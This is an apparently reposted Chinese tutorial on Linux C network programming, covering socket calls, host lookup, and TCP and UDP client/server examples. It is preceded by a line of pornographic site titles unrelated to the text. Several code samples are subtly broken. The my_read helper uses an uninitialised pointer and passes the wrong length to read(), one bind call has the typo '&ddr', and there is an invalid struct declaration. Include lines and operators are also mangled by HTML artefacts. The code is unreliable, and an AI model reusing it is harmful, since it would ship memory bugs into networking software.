日韩黑丝制服一区视频播放|日韩欧美人妻丝袜视频在线观看|九九影院一级蜜桃|亚洲中文在线导航|青草草视频在线观看|婷婷五月色伊人网站|日本一区二区在线|国产AV一二三四区毛片|正在播放久草视频|亚洲色图精品一区

分享

Linux下的C語言編程(2)

 skywood 2006-11-04

續(xù)前貼

8)Linux程序設(shè)計(jì)入門--網(wǎng)絡(luò)編程

Linux系統(tǒng)的一個(gè)主要特點(diǎn)是他的網(wǎng)絡(luò)功能非常強(qiáng)大。隨著網(wǎng)絡(luò)的日益普及,基于網(wǎng)絡(luò)的
應(yīng)用也將越來越多。 在這個(gè)網(wǎng)絡(luò)時(shí)代,掌握了Linux的網(wǎng)絡(luò)編程技術(shù),將令每一個(gè)人處
于不敗之地,學(xué)習(xí)Linux的網(wǎng)絡(luò)編程,可以讓我們真正的體會(huì)到網(wǎng)絡(luò)的魅力。 想成為一
位真正的hacker,必須掌握網(wǎng)絡(luò)編程技術(shù)。
現(xiàn)在書店里面已經(jīng)有了許多關(guān)于Linux網(wǎng)絡(luò)編程方面的書籍,網(wǎng)絡(luò)上也有了許多關(guān)于
網(wǎng)絡(luò)編程方面的教材,大家都可以 去看一看的。在這里我會(huì)和大家一起來領(lǐng)會(huì)Linux網(wǎng)
絡(luò)編程的奧妙,由于我學(xué)習(xí)Linux的網(wǎng)絡(luò)編程也開始不久,所以我下面所說的肯定會(huì)有錯(cuò)
誤的, 還請(qǐng)大家指點(diǎn)出來,在這里我先謝謝大家了。
在這一個(gè)章節(jié)里面,我會(huì)和以前的幾個(gè)章節(jié)不同,在前面我都是概括的說了一下,
從現(xiàn)在開始我會(huì)盡可能的詳細(xì)的說明每一個(gè)函數(shù)及其用法。好了讓我們?nèi)ヮI(lǐng)會(huì)Linux的偉
大的魅力吧!
開始進(jìn)入網(wǎng)絡(luò)編程



網(wǎng)絡(luò)編程(1)

1. Linux網(wǎng)絡(luò)知識(shí)介紹
1.1 客戶端程序和服務(wù)端程序
網(wǎng)絡(luò)程序和普通的程序有一個(gè)最大的區(qū)別是網(wǎng)絡(luò)程序是由兩個(gè)部分組成的--客戶端和服
務(wù)器端.
網(wǎng)絡(luò)程序是先有服務(wù)器程序啟動(dòng),等待客戶端的程序運(yùn)行并建立連接.一般的來說是服務(wù)
端的程序 在一個(gè)端口上監(jiān)聽,直到有一個(gè)客戶端的程序發(fā)來了請(qǐng)求.
1.2 常用的命令
由于網(wǎng)絡(luò)程序是有兩個(gè)部分組成,所以在調(diào)試的時(shí)候比較麻煩,為此我們有必要知道一些
常用的網(wǎng)絡(luò)命令
netstat
命令netstat是用來顯示網(wǎng)絡(luò)的連接,路由表和接口統(tǒng)計(jì)等網(wǎng)絡(luò)的信息.netstat有許多的
選項(xiàng) 我們常用的選項(xiàng)是 -an 用來顯示詳細(xì)的網(wǎng)絡(luò)狀態(tài).至于其它的選項(xiàng)我們可以使用幫
助手冊(cè)獲得詳細(xì)的情況.
telnet
telnet是一個(gè)用來遠(yuǎn)程控制的程序,但是我們完全可以用這個(gè)程序來調(diào)試我們的服務(wù)端程
序的. 比如我們的服務(wù)器程序在監(jiān)聽8888端口,我們可以用telnet localhost 8888來查
看服務(wù)端的狀況.
1.3 TCP/UDP介紹
TCP(Transfer Control Protocol)傳輸控制協(xié)議是一種面向連接的協(xié)議,當(dāng)我們的網(wǎng)絡(luò)程
序使用 這個(gè)協(xié)議的時(shí)候,網(wǎng)絡(luò)可以保證我們的客戶端和服務(wù)端的連接是可靠的,安全的.

UDP(User Datagram Protocol)用戶數(shù)據(jù)報(bào)協(xié)議是一種非面向連接的協(xié)議,這種協(xié)議并不
能保證我們 的網(wǎng)絡(luò)程序的連接是可靠的,所以我們現(xiàn)在編寫的程序一般是采用TCP協(xié)議的
..

網(wǎng)絡(luò)編程(2)

2. 初等網(wǎng)絡(luò)函數(shù)介紹(TCP)
Linux系統(tǒng)是通過提供套接字(socket)來進(jìn)行網(wǎng)絡(luò)編程的.網(wǎng)絡(luò)程序通過socket和其它
幾個(gè)函數(shù)的調(diào)用,會(huì)返回一個(gè) 通訊的文件描述符,我們可以將這個(gè)描述符看成普通的文件
的描述符來操作,這就是linux的設(shè)備無關(guān)性的 好處.我們可以通過向描述符讀寫操作實(shí)
現(xiàn)網(wǎng)絡(luò)之間的數(shù)據(jù)交流.
2.1 socket
int socket(int domain, int type,int protocol)
domain:說明我們網(wǎng)絡(luò)程序所在的主機(jī)采用的通訊協(xié)族(AF_UNIX和AF_INET等). AF_UN
IX只能夠用于單一的Unix系統(tǒng)進(jìn)程間通信,而AF_INET是針對(duì)Internet的,因而可以允許在
遠(yuǎn)程 主機(jī)之間通信(當(dāng)我們 man socket時(shí)發(fā)現(xiàn) domain可選項(xiàng)是 PF_*而不是AF_*,因?yàn)?br>glibc是posix的實(shí)現(xiàn) 所以用PF代替了AF,不過我們都可以使用的).
type:我們網(wǎng)絡(luò)程序所采用的通訊協(xié)議(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM表明
我們用的是TCP協(xié)議,這樣會(huì)提供按順序的,可靠,雙向,面向連接的比特流. SOCK_DGRAM
表明我們用的是UDP協(xié)議,這樣只會(huì)提供定長(zhǎng)的,不可靠,無連接的通信.
protocol:由于我們指定了type,所以這個(gè)地方我們一般只要用0來代替就可以了 sock
et為網(wǎng)絡(luò)通訊做基本的準(zhǔn)備.成功時(shí)返回文件描述符,失敗時(shí)返回-1,看errno可知道出錯(cuò)
的詳細(xì)情況.
2.2 bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd:是由socket調(diào)用返回的文件描述符.
addrlen:是sockaddr結(jié)構(gòu)的長(zhǎng)度.
my_addr:是一個(gè)指向sockaddr的指針. 在<linux/socket.h>;中有 sockaddr的定義
struct sockaddr{
unisgned short as_family;
char sa_data[14];
};
不過由于系統(tǒng)的兼容性,我們一般不用這個(gè)頭文件,而使用另外一個(gè)結(jié)構(gòu)(struct sock
addr_in) 來代替.在<linux/in.h>;中有sockaddr_in的定義
struct sockaddr_in{
unsigned short sin_family;
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
我們主要使用Internet所以sin_family一般為AF_INET,sin_addr設(shè)置為INADDR_ANY表
示可以 和任何的主機(jī)通信,sin_port是我們要監(jiān)聽的端口號(hào).sin_zero[8]是用來填充的
.. bind將本地的端口同socket返回的文件描述符捆綁在一起.成功是返回0,失敗的情況和
socket一樣
2.3 listen
int listen(int sockfd,int backlog)
sockfd:是bind后的文件描述符.
backlog:設(shè)置請(qǐng)求排隊(duì)的最大長(zhǎng)度.當(dāng)有多個(gè)客戶端程序和服務(wù)端相連時(shí), 使用這個(gè)表示
可以介紹的排隊(duì)長(zhǎng)度. listen函數(shù)將bind的文件描述符變?yōu)楸O(jiān)聽套接字.返回的情況和b
ind一樣.
2.4 accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd:是listen后的文件描述符.
addr,addrlen是用來給客戶端的程序填寫的,服務(wù)器端只要傳遞指針就可以了. bind,li
sten和accept是服務(wù)器端用的函數(shù),accept調(diào)用時(shí),服務(wù)器端的程序會(huì)一直阻塞到有一個(gè)
客戶程序發(fā)出了連接. accept成功時(shí)返回最后的服務(wù)器端的文件描述符,這個(gè)時(shí)候服務(wù)
器端可以向該描述符寫信息了. 失敗時(shí)返回-1
2.5 connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
sockfd:socket返回的文件描述符.
serv_addr:儲(chǔ)存了服務(wù)器端的連接信息.其中sin_add是服務(wù)端的地址
addrlen:serv_addr的長(zhǎng)度
connect函數(shù)是客戶端用來同服務(wù)端連接的.成功時(shí)返回0,sockfd是同服務(wù)端通訊的文件
描述符 失敗時(shí)返回-1.
2.6 實(shí)例
服務(wù)器端程序
/******* 服務(wù)器程序 (server.c) ************/
#i nclude <stdlib.h>;
#i nclude <stdio.h>;
#i nclude <errno.h>;
#i nclude <string.h>;
#i nclude <netdb.h>;
#i nclude <sys/types.h>;
#i nclude <netinet/in.h>;
#i nclude <sys/socket.h>;
int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?\n";
if(argc!=2)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
/* 服務(wù)器端開始建立socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket error:%s\n\a",strerror(errno));
exit(1);
}
/* 服務(wù)器端填充 sockaddr結(jié)構(gòu) */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);
/* 捆綁sockfd描述符 */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==
-1)
{
fprintf(stderr,"Bind error:%s\n\a",strerror(errno));
exit(1);
}
/* 監(jiān)聽sockfd描述符 */
if(listen(sockfd,5)==-1)
{
fprintf(stderr,"Listen error:%s\n\a",strerror(errno));
exit(1);
}
while(1)
{
/* 服務(wù)器阻塞,直到客戶程序建立連接 */
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size
))==-1)
{
fprintf(stderr,"Accept error:%s\n\a",strerror(errno));
exit(1);
}
fprintf(stderr,"Server get connection from %s\n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,"Write Error:%s\n",strerror(errno));
exit(1);
}
/* 這個(gè)通訊已經(jīng)結(jié)束 */
close(new_fd);
/* 循環(huán)下一個(gè) */
}
close(sockfd);
exit(0);
}
客戶端程序
/******* 客戶端程序 client.c ************/
#i nclude <stdlib.h>;
#i nclude <stdio.h>;
#i nclude <errno.h>;
#i nclude <string.h>;
#i nclude <netdb.h>;
#i nclude <sys/types.h>;
#i nclude <netinet/in.h>;
#i nclude <sys/socket.h>;
int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;
if(argc!=3)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"Gethostname error\n");
exit(1);
}
if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
/* 客戶程序開始建立 sockfd描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
exit(1);
}
/* 客戶程序填充服務(wù)端的資料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->;h_addr);
/* 客戶程序發(fā)起連接請(qǐng)求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr)
)==-1)
{
fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
exit(1);
}
/* 連接成功了 */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error:%s\n",strerror(errno));
exit(1);
}
buffer[nbytes]=‘\0‘;
printf("I have received:%s\n",buffer);
/* 結(jié)束通訊 */
close(sockfd);
exit(0);
}
MakeFile
這里我們使用GNU 的make實(shí)用程序來編譯. 關(guān)于make的詳細(xì)說明見 Make 使用介紹
######### Makefile ###########
all:server client
server:server.c
gcc $^ -o $@
client:client.c
gcc $^ -o $@
運(yùn)行make后會(huì)產(chǎn)生兩個(gè)程序server(服務(wù)器端)和client(客戶端) 先運(yùn)行./server port
number& (portnumber隨便取一個(gè)大于1204且不在/etc/services中出現(xiàn)的號(hào)碼 就用888
8好了),然后運(yùn)行 ./client localhost 8888 看看有什么結(jié)果. (你也可以用telnet和n
etstat試一試.) 上面是一個(gè)最簡(jiǎn)單的網(wǎng)絡(luò)程序,不過是不是也有點(diǎn)煩.上面有許多函數(shù)我
們還沒有解釋. 我會(huì)在下一章進(jìn)行的詳細(xì)的說明.
2.7 總結(jié)
總的來說網(wǎng)絡(luò)程序是由兩個(gè)部分組成的--客戶端和服務(wù)器端.它們的建立步驟一般是:
服務(wù)器端
socket-->;bind-->;listen-->;accept
客戶端
socket-->;connect
--

網(wǎng)絡(luò)編程(3)

3. 服務(wù)器和客戶機(jī)的信息函數(shù)
這一章我們來學(xué)習(xí)轉(zhuǎn)換和網(wǎng)絡(luò)方面的信息函數(shù).
3.1 字節(jié)轉(zhuǎn)換函數(shù)
在網(wǎng)絡(luò)上面有著許多類型的機(jī)器,這些機(jī)器在表示數(shù)據(jù)的字節(jié)順序是不同的, 比如i386芯
片是低字節(jié)在內(nèi)存地址的低端,高字節(jié)在高端,而alpha芯片卻相反. 為了統(tǒng)一起來,在Li
nux下面,有專門的字節(jié)轉(zhuǎn)換函數(shù).
unsigned long int htonl(unsigned long int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long int ntohl(unsigned long int netlong)
unsigned short int ntohs(unsigned short int netshort)
在這四個(gè)轉(zhuǎn)換函數(shù)中,h 代表host, n 代表 network.s 代表short l 代表long 第一個(gè)函
數(shù)的意義是將本機(jī)器上的long數(shù)據(jù)轉(zhuǎn)化為網(wǎng)絡(luò)上的long. 其他幾個(gè)函數(shù)的意義也差不多
..
3.2 IP和域名的轉(zhuǎn)換
在網(wǎng)絡(luò)上標(biāo)志一臺(tái)機(jī)器可以用IP或者是用域名.那么我們?cè)趺慈ミM(jìn)行轉(zhuǎn)換呢?
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在<netdb.h>;中有struct hostent的定義
struct hostent{
char *h_name; /* 主機(jī)的正式名稱 */
char *h_aliases; /* 主機(jī)的別名 */
int h_addrtype; /* 主機(jī)的地址類型 AF_INET*/
int h_length; /* 主機(jī)的地址長(zhǎng)度 對(duì)于IP4 是4字節(jié)32位*/
char **h_addr_list; /* 主機(jī)的IP地址列表 */
}
#define h_addr h_addr_list[0] /* 主機(jī)的第一個(gè)IP地址*/
gethostbyname可以將機(jī)器名(如 linux.yessun.com)轉(zhuǎn)換為一個(gè)結(jié)構(gòu)指針.在這個(gè)結(jié)構(gòu)里
面儲(chǔ)存了域名的信息
gethostbyaddr可以將一個(gè)32位的IP地址(C0A80001)轉(zhuǎn)換為結(jié)構(gòu)指針.
這兩個(gè)函數(shù)失敗時(shí)返回NULL 且設(shè)置h_errno錯(cuò)誤變量,調(diào)用h_strerror()可以得到詳細(xì)的
出錯(cuò)信息
3.3 字符串的IP和32位的IP轉(zhuǎn)換.
在網(wǎng)絡(luò)上面我們用的IP都是數(shù)字加點(diǎn)(192.168.0.1)構(gòu)成的, 而在struct in_addr結(jié)構(gòu)中
用的是32位的IP, 我們上面那個(gè)32位IP(C0A80001)是的192.168.0.1 為了轉(zhuǎn)換我們可以
使用下面兩個(gè)函數(shù)
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
函數(shù)里面 a 代表 ascii n 代表network.第一個(gè)函數(shù)表示將a.b.c.d的IP轉(zhuǎn)換為32位的I
P,存儲(chǔ)在 inp指針里面.第二個(gè)是將32位IP轉(zhuǎn)換為a.b.c.d的格式.
3.4 服務(wù)信息函數(shù)
在網(wǎng)絡(luò)程序里面我們有時(shí)候需要知道端口.IP和服務(wù)信息.這個(gè)時(shí)候我們可以使用以下幾
個(gè)函數(shù)
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name; /* 正式服務(wù)名 */
char **s_aliases; /* 別名列表 */
int s_port; /* 端口號(hào) */
char *s_proto; /* 使用的協(xié)議 */
}
一般我們很少用這幾個(gè)函數(shù).對(duì)應(yīng)客戶端,當(dāng)我們要得到連接的端口號(hào)時(shí)在connect調(diào)用成
功后使用可得到 系統(tǒng)分配的端口號(hào).對(duì)于服務(wù)端,我們用INADDR_ANY填充后,為了得到連
接的IP我們可以在accept調(diào)用成功后 使用而得到IP地址.
在網(wǎng)絡(luò)上有許多的默認(rèn)端口和服務(wù),比如端口21對(duì)ftp80對(duì)應(yīng)WWW.為了得到指定的端口號(hào)
的服務(wù) 我們可以調(diào)用第四個(gè)函數(shù),相反為了得到端口號(hào)可以調(diào)用第三個(gè)函數(shù).
3.5 一個(gè)例子
#i nclude <netdb.h>;
#i nclude <stdio.h>;
#i nclude <stdlib.h>;
#i nclude <sys/socket.h>;
#i nclude <netinet/in.h>;
int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;
if(argc<2)
{
fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]);
exit(1);
}
argv++;
for(;*argv!=NULL;argv++)
{
/* 這里我們假設(shè)是IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);
printf("Address information of Ip %s\n",*argv);
}
else
{
/* 失敗,難道是域名?*/
host=gethostbyname(*argv); printf("Address information

of host %s\n",*argv);
}
if(host==NULL)
{
/* 都不是 ,算了不找了*/
fprintf(stderr,"No address information of %s\n",*arg
v);
continue;
}
printf("Official host name %s\n",host->;h_name);
printf("Name aliases:");
for(alias=host->;h_aliases;*alias!=NULL;alias++)
printf("%s ,",*alias);
printf("\nIp address:");
for(alias=host->;h_addr_list;*alias!=NULL;alias++)
printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
}
}
在這個(gè)例子里面,為了判斷用戶輸入的是IP還是域名我們調(diào)用了兩個(gè)函數(shù),第一次我們假
設(shè)輸入的是IP所以調(diào)用inet_aton, 失敗的時(shí)候,再調(diào)用gethostbyname而得到信息.
--

網(wǎng)絡(luò)編程(4)

4. 完整的讀寫函數(shù)
一旦我們建立了連接,我們的下一步就是進(jìn)行通信了.在Linux下面把我們前面建立的通道
看成是文件描述符,這樣服務(wù)器端和客戶端進(jìn)行通信時(shí)候,只要往文件描述符里面讀寫東
西了. 就象我們往文件讀寫一樣.
4.1 寫函數(shù)write
ssize_t write(int fd,const void *buf,size_t nbytes)
write函數(shù)將buf中的nbytes字節(jié)內(nèi)容寫入文件描述符fd.成功時(shí)返回寫的字節(jié)數(shù).失敗時(shí)
返回-1. 并設(shè)置errno變量. 在網(wǎng)絡(luò)程序中,當(dāng)我們向套接字文件描述符寫時(shí)有倆種可能
..
1)write的返回值大于0,表示寫了部分或者是全部的數(shù)據(jù).
2)返回的值小于0,此時(shí)出現(xiàn)了錯(cuò)誤.我們要根據(jù)錯(cuò)誤類型來處理.
如果錯(cuò)誤為EINTR表示在寫的時(shí)候出現(xiàn)了中斷錯(cuò)誤.
如果為EPIPE表示網(wǎng)絡(luò)連接出現(xiàn)了問題(對(duì)方已經(jīng)關(guān)閉了連接).
為了處理以上的情況,我們自己編寫一個(gè)寫函數(shù)來處理這幾種情況.
int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>;0)
{
/* 開始寫*/
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /* 出錯(cuò)了*/
{
if(errno==EINTR) /* 中斷錯(cuò)誤 我們繼續(xù)寫*/
written_bytes=0;
else /* 其他錯(cuò)誤 沒有辦法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes; /* 從剩下的地方繼續(xù)寫 */
}
return(0);
}
4.2 讀函數(shù)read
ssize_t read(int fd,void *buf,size_t nbyte) read函數(shù)是負(fù)責(zé)從fd中讀取內(nèi)容.當(dāng)讀
成功時(shí),read返回實(shí)際所讀的字節(jié)數(shù),如果返回的值是0 表示已經(jīng)讀到文件的結(jié)束了,小于
0表示出現(xiàn)了錯(cuò)誤.如果錯(cuò)誤為EINTR說明讀是由中斷引起的, 如果是ECONNREST表示網(wǎng)絡(luò)
連接出了問題. 和上面一樣,我們也寫一個(gè)自己的讀函數(shù).
int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
bytes_left=length;
while(bytes_left>;0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}
4.3 數(shù)據(jù)的傳遞
有了上面的兩個(gè)函數(shù),我們就可以向客戶端或者是服務(wù)端傳遞數(shù)據(jù)了.比如我們要傳遞一
個(gè)結(jié)構(gòu).可以使用如下方式
/* 客戶端向服務(wù)端寫 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/* 服務(wù)端的讀*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
在網(wǎng)絡(luò)上傳遞數(shù)據(jù)時(shí)我們一般都是把數(shù)據(jù)轉(zhuǎn)化為char類型的數(shù)據(jù)傳遞.接收的時(shí)候也是一
樣的 注意的是我們沒有必要在網(wǎng)絡(luò)上傳遞指針(因?yàn)閭鬟f指針是沒有任何意義的,我們必
須傳遞指針?biāo)赶虻膬?nèi)容)
--

網(wǎng)絡(luò)編程(5)

5. 用戶數(shù)據(jù)報(bào)發(fā)送
我們前面已經(jīng)學(xué)習(xí)網(wǎng)絡(luò)程序的一個(gè)很大的部分,由這個(gè)部分的知識(shí),我們實(shí)際上可以寫出
大部分的基于TCP協(xié)議的網(wǎng)絡(luò)程序了.現(xiàn)在在Linux下的大部分程序都是用我們上面所學(xué)的
知識(shí)來寫的.我們可以去找一些源程序來參考一下.這一章,我們簡(jiǎn)單的學(xué)習(xí)一下基于UDP
協(xié)議的網(wǎng)絡(luò)程序.
5.1 兩個(gè)常用的函數(shù)
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct socka
ddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct s
ockaddr *to int tolen)
sockfd,buf,len的意義和read,write一樣,分別表示套接字描述符,發(fā)送或接收的緩沖區(qū)
及大小.recvfrom負(fù)責(zé)從sockfd接收數(shù)據(jù),如果from不是NULL,那么在from里面存儲(chǔ)了信息
來源的情況,如果對(duì)信息的來源不感興趣,可以將from和fromlen設(shè)置為NULL.sendto負(fù)責(zé)
向to發(fā)送信息.此時(shí)在to里面存儲(chǔ)了收信息方的詳細(xì)資料.
5.2 一個(gè)實(shí)例
/* 服務(wù)端程序 server.c */
#i nclude <sys/types.h>;
#i nclude <sys/socket.h>;
#i nclude <netinet/in.h>;
#i nclude <stdio.h>;
#i nclude <errno.h>;
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int addrlen,n;
char msg[MAX_MSG_SIZE];
while(1)
{ /* 從網(wǎng)絡(luò)上度,寫到網(wǎng)絡(luò)上面去 */
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
msg[n]=0;
/* 顯示服務(wù)端已經(jīng)收到了信息 */
fprintf(stdout,"I have received %s",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}
int main(void)
{
int sockfd;
struct sockaddr_in addr;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n",strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0
)
{
fprintf(stderr,"Bind Error:%s\n",strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}
/* 客戶端程序 */
#i nclude <sys/types.h>;
#i nclude <sys/socket.h>;
#i nclude <netinet/in.h>;
#i nclude <errno.h>;
#i nclude <stdio.h>;
#i nclude <unistd.h>;
#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(1)
{ /* 從鍵盤讀入,寫到服務(wù)端 */
fgets(buffer,MAX_BUF_SIZE,stdin);
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/* 從網(wǎng)絡(luò)上讀,寫到屏幕上 */
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
buffer[n]=0;
fputs(buffer,stdout);
}
}
int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_in addr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
if((port=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n",strerror(errno));
exit(1);
}
/* 填充服務(wù)端的資料 */
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,"Ip error:%s\n",strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}
########### 編譯文件 Makefile ##########
all:server client
server:server.c
gcc -o server server.c
client:client.c
gcc -o client client.c
clean:
rm -f server
rm -f client
rm -f core
上面的實(shí)例如果大家編譯運(yùn)行的話,會(huì)發(fā)現(xiàn)一個(gè)小問題的. 在我機(jī)器上面,我先運(yùn)行服務(wù)
端,然后運(yùn)行客戶端.在客戶端輸入信息,發(fā)送到服務(wù)端, 在服務(wù)端顯示已經(jīng)收到信息,但
是客戶端沒有反映.再運(yùn)行一個(gè)客戶端,向服務(wù)端發(fā)出信息 卻可以得到反應(yīng).我想可能是
第一個(gè)客戶端已經(jīng)阻塞了.如果誰知道怎么解決的話,請(qǐng)告訴我,謝謝. 由于UDP協(xié)議是不
保證可靠接收數(shù)據(jù)的要求,所以我們?cè)诎l(fā)送信息的時(shí)候,系統(tǒng)并不能夠保證我們發(fā)出的信
息都正確無誤的到達(dá)目的地.一般的來說我們?cè)诰帉懢W(wǎng)絡(luò)程序的時(shí)候都是選用TCP協(xié)議的
--

網(wǎng)絡(luò)編程(6)

6. 高級(jí)套接字函數(shù)
在前面的幾個(gè)部分里面,我們已經(jīng)學(xué)會(huì)了怎么樣從網(wǎng)絡(luò)上讀寫信息了.前面的一些函數(shù)(r
ead,write)是網(wǎng)絡(luò)程序里面最基本的函數(shù).也是最原始的通信函數(shù).在這一章里面,我們一
起來學(xué)習(xí)網(wǎng)絡(luò)通信的高級(jí)函數(shù).這一章我們學(xué)習(xí)另外幾個(gè)讀寫函數(shù).
6.1 recv和send
recv和send函數(shù)提供了和read和write差不多的功能.不過它們提供 了第四個(gè)參數(shù)來控制
讀寫操作.
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
前面的三個(gè)參數(shù)和read,write一樣,第四個(gè)參數(shù)可以是0或者是以下的組合
_______________________________________________________________
| MSG_DONTROUTE | 不查找路由表 |
| MSG_OOB | 接受或者發(fā)送帶外數(shù)據(jù) |
| MSG_PEEK | 查看數(shù)據(jù),并不從系統(tǒng)緩沖區(qū)移走數(shù)據(jù) |
| MSG_WAITALL | 等待所有數(shù)據(jù) |
|--------------------------------------------------------------|
MSG_DONTROUTE:是send函數(shù)使用的標(biāo)志.這個(gè)標(biāo)志告訴IP協(xié)議.目的主機(jī)在本地網(wǎng)絡(luò)上面
,沒有必要查找路由表.這個(gè)標(biāo)志一般用網(wǎng)絡(luò)診斷和路由程序里面.
MSG_OOB:表示可以接收和發(fā)送帶外的數(shù)據(jù).關(guān)于帶外數(shù)據(jù)我們以后會(huì)解釋的.
MSG_PEEK:是recv函數(shù)的使用標(biāo)志,表示只是從系統(tǒng)緩沖區(qū)中讀取內(nèi)容,而不清楚系統(tǒng)緩沖
區(qū)的內(nèi)容.這樣下次讀的時(shí)候,仍然是一樣的內(nèi)容.一般在有多個(gè)進(jìn)程讀寫數(shù)據(jù)時(shí)可以使用
這個(gè)標(biāo)志.
MSG_WAITALL是recv函數(shù)的使用標(biāo)志,表示等到所有的信息到達(dá)時(shí)才返回.使用這個(gè)標(biāo)志的
時(shí)候recv回一直阻塞,直到指定的條件滿足,或者是發(fā)生了錯(cuò)誤. 1)當(dāng)讀到了指定的字節(jié)
時(shí),函數(shù)正常返回.返回值等于len 2)當(dāng)讀到了文件的結(jié)尾時(shí),函數(shù)正常返回.返回值小于
len 3)當(dāng)操作發(fā)生錯(cuò)誤時(shí),返回-1,且設(shè)置錯(cuò)誤為相應(yīng)的錯(cuò)誤號(hào)(errno)
如果flags為0,則和read,write一樣的操作.還有其它的幾個(gè)選項(xiàng),不過我們實(shí)際上用的很
少,可以查看 Linux Programmer‘s Manual得到詳細(xì)解釋.
6.2 recvfrom和sendto
這兩個(gè)函數(shù)一般用在非套接字的網(wǎng)絡(luò)程序當(dāng)中(UDP),我們已經(jīng)在前面學(xué)會(huì)了.
6.3 recvmsg和sendmsg
